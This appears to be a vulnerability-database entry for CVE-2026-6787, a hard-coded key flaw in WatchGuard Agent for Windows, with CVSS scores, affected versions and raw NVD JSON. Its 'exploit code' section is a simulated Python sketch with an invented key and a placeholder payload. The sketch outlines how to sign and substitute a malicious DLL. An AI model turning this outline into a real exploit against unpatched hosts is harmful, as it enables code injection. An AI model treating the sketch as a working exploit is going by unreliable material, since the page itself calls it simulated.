Security Vulnerability Report
中文
CVE-2026-6787 CVSS 7.8 HIGH

CVE-2026-6787

Published: 2026-05-06 16:16:12
Last Modified: 2026-05-11 18:33:50
Source: 5d1c2695-1a31-4499-88ae-e847036fd7e3

Description

Use of Hard-coded Cryptographic Key vulnerability in WatchGuard Agent on Windows allows Inclusion of Code in Existing Process.This issue affects WatchGuard Agent: before 1.25.03.0000.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:watchguard:agent:*:*:*:*:*:windows:*:* - VULNERABLE
WatchGuard Agent < 1.25.03.0000

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import hashlib import struct # Conceptual PoC for CVE-2026-6787: Hard-coded Cryptographic Key # This script demonstrates how an attacker might use a leaked key to sign a payload. # 1. Extracted hard-coded key (Simulated) HARDCODED_KEY = b"WatchGuard_Secret_Key_2026" def calculate_signature(data): """ Simulate the signature algorithm used by WatchGuard Agent. In a real scenario, this would be the actual crypto function (e.g., HMAC, AES). """ return hashlib.sha256(HARDCODED_KEY + data).hexdigest() def create_malicious_dll(): """ Create a mock malicious payload. """ # Simple shellcode or DLL placeholder payload = b"MALICIOUS_CODE_EXECUTION_HERE" return payload def main(): print("[*] CVE-2026-6787 PoC: Hard-coded Key Exploit") print("[*] Target: WatchGuard Agent < 1.25.03.0000") # Step 1: Prepare payload payload = create_malicious_dll() print(f"[+] Generated malicious payload size: {len(payload)} bytes") # Step 2: Sign payload using the hard-coded key signature = calculate_signature(payload) print(f"[+] Generated signature using hard-coded key: {signature}") # Step 3: Construct the malicious file structure (Header + Payload + Signature) # Assuming the agent reads a specific file format malicious_file = struct.pack("<I", len(payload)) + payload + signature.encode() print("[+] Malicious file constructed.") print("[*] Next step: Replace the legitimate file with this malicious file.") print("[*] The Agent will load it, verify the signature with the hard-coded key, and execute.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6787", "sourceIdentifier": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "published": "2026-05-06T16:16:11.643", "lastModified": "2026-05-11T18:33:49.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use of Hard-coded Cryptographic Key vulnerability in WatchGuard Agent on Windows allows Inclusion of Code in Existing Process.This issue affects WatchGuard Agent: before 1.25.03.0000."}], "metrics": {"cvssMetricV40": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:watchguard:agent:*:*:*:*:*:windows:*:*", "versionEndExcluding": "1.25.03.0000", "matchCriteriaId": "1D391721-7499-4701-A84D-C58CD093CCB0"}]}]}], "references": [{"url": "https://www.watchguard.com/wgrd-psirt/advisory/WGSA-2026-00013", "source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "tags": ["Vendor Advisory"]}]}}